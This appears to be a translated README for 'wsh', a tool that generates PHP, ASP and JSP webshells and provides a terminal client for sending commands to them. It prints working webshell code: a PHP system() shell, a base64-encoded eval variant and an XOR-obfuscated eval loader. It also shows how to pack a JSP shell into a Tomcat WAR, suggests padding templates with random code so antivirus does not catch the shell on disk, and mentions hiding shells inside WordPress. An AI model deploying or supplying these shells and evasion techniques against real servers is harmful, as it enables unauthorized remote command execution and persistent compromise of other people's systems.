EatonChips/wsh
wsh(发音为 woosh)是一个 WebShell 生成器和命令行界面。这开始时只是一个 http 客户端,因为与 WebShell 交互很痛苦。有一个表格,要发送命令,您必须在输入框中键入并按下按钮。我想要一些更适合我的工作流程并在终端中运行的东西。wsh就这样诞生了。
该客户端具有命令历史记录、日志记录,并且可以配置为使用表单/按钮与先前部署的标准 WebShell 交互。生成器在 php、asp 和 jsp 中创建 WebShell。它们是用随机变量生成的,因此每个变量都有一个唯一的哈希值。它们可以配置白名单、密码,并允许通过自定义标头和参数发送命令。
生成器和客户端可以通过命令行标志或配置文件进行配置,以允许保存适合您的设置,而无需执行我所谓的“—help”舞蹈。配置后,客户端和生成器使用相同的配置文件。
特征
- 通过命令行与部署的 WebShell 交互
- 日志记录
- 在 PHP、JSP 和 ASP 中生成 WebShell
-X, —method string HTTP method: GET, POST, PUT, PATCH, DELETE (default “GET”) —param string Parameter for sending command —header string Header for sending command -P, —params strings HTTP request parameters -H, —headers strings HTTP request headers -c, —config string Config file -k, —ignore-ssl Ignore invalid certs —log string Log file —prefix string Prepend command: ‘cmd /c’, ‘powershell.exe’, ‘bash’ —timeout int Request timeout in seconds (default 10) —trim-prefix string Trim output prefix —trim-suffix string Trim output suffix -h, —help help for wsh
<a name="gvxJW"></a>
### 产生
```shell
wsh generate <language> [flags]
wsh g <language> [flags]
-X, --method string HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string Parameter for sending command
--header string Header for sending command
-w, --whitelist strings IP addresses to whitelist
-o, --outfile string Output file
--no-file Disable file upload/download capabilities
--pass string Password protect shell
--pass-header string Header for sending password
--pass-param string Parameter for sending password
--xor-header string Header for sending xor key
--xor-key string Key for xor encryption
--xor-param string Parameter for sending xor key
--base64 Base64 encode shell
--minify Minify webshell code
-t, --template string Webshell template file
-h, --help help for generate
客户端使用/文件 IO
我希望客户端与语言无关,因此所有 WebShell 都需要实现相同的上传/下载逻辑。不幸的是,在 jsp 和经典 asp 中本地进行多部分表单上传很痛苦,因此文件在参数中作为 base64 上传。这并不理想,因为最大文件上传大小仅限于最大参数大小。将来我可能会尝试实现多部分表单上传,或者执行多个请求来传输更大的文件。
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath] Download file
put <local filepath> [remote filepath] Upload file
clear Clear screen
exit Exits shell
生成器示例
简单的Shell
以下命令生成一个简单的 php WebShell 并与之交互:
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
$MfOb = $_REQUEST['cmd'];
$MfOb = trim($MfOb);
system($MfOb);
die;
?>
命令也可以通过 http 标头发送:
$ wsh generate php --no-file --header user-agent -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent
白名单
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
密码保护
密码可以通过参数或标题发送:
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t
Base64 / XOR 加密
此功能很有趣,但可能需要对模板进行一些修改才能使其有用。在 asp 和 jsp 的情况下,有助于解码 base64 的库是已知的IoCs,将被标记。如果您对使用这些功能感兴趣,我建议您修改模板并进行混淆处理。
与密码保护相同,xor 密钥可以通过参数或标头发送:
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>
$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
$oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
}
}
eval($oooqt);
?>
Tomcat Shell
要生成可以部署到 Tomcat 的 WebShell,请创建一个名为 index.jsp 的 jsp Shell 并运行以下命令将其压缩到 war 文件中。
有时,Tomcat 环境没有文件上传/下载所需的库,发出请求时 Shell 会出错。要解决此问题,请使用—no-file标志:
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp
模板
使用 go 模板库为生成器增加了很多灵活性。有时,一个 WebShell 会被 AV 捕获,但是我发现在模板文件中添加一堆随机代码通常会使 Shell 看起来足够良性,以允许它在磁盘上持续存在。我在 templates/covert-php.tml 文件中包含了一个示例。
此外,您可以修改这些模板以包含您的姓名/联系信息,以便在渗透测试的用例中归因。
客户端功能
字首
可以指定一个前缀来为发送到 Shell 的每个命令添加一个字符串。这可用于将普通的 cmd Shell 转换为 powerShell Shell:
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2020 11:49 PM config
d----- 5/27/2020 11:49 PM en
d----- 5/28/2020 12:25 AM en-US
-a---- 5/27/2020 11:49 PM 119808 appcmd.exe
日志记录
日志带有时间戳,并包括与之交互的主机。附加了日志文件,因此请随意为多个会话/主机使用相同的日志文件:
127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...
[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs
修剪前缀/后缀
客户端可以配置为从请求中修剪无关的 html 内容,这在与标准 html 接口 WebShell 交互时很有用,或者如果生成的 Shell 被偷偷地嵌入到 WordPress安装中:
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre>
README.md
cmd
example-configs
index.php
main.go
templates
</pre>
</div>
. . .
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates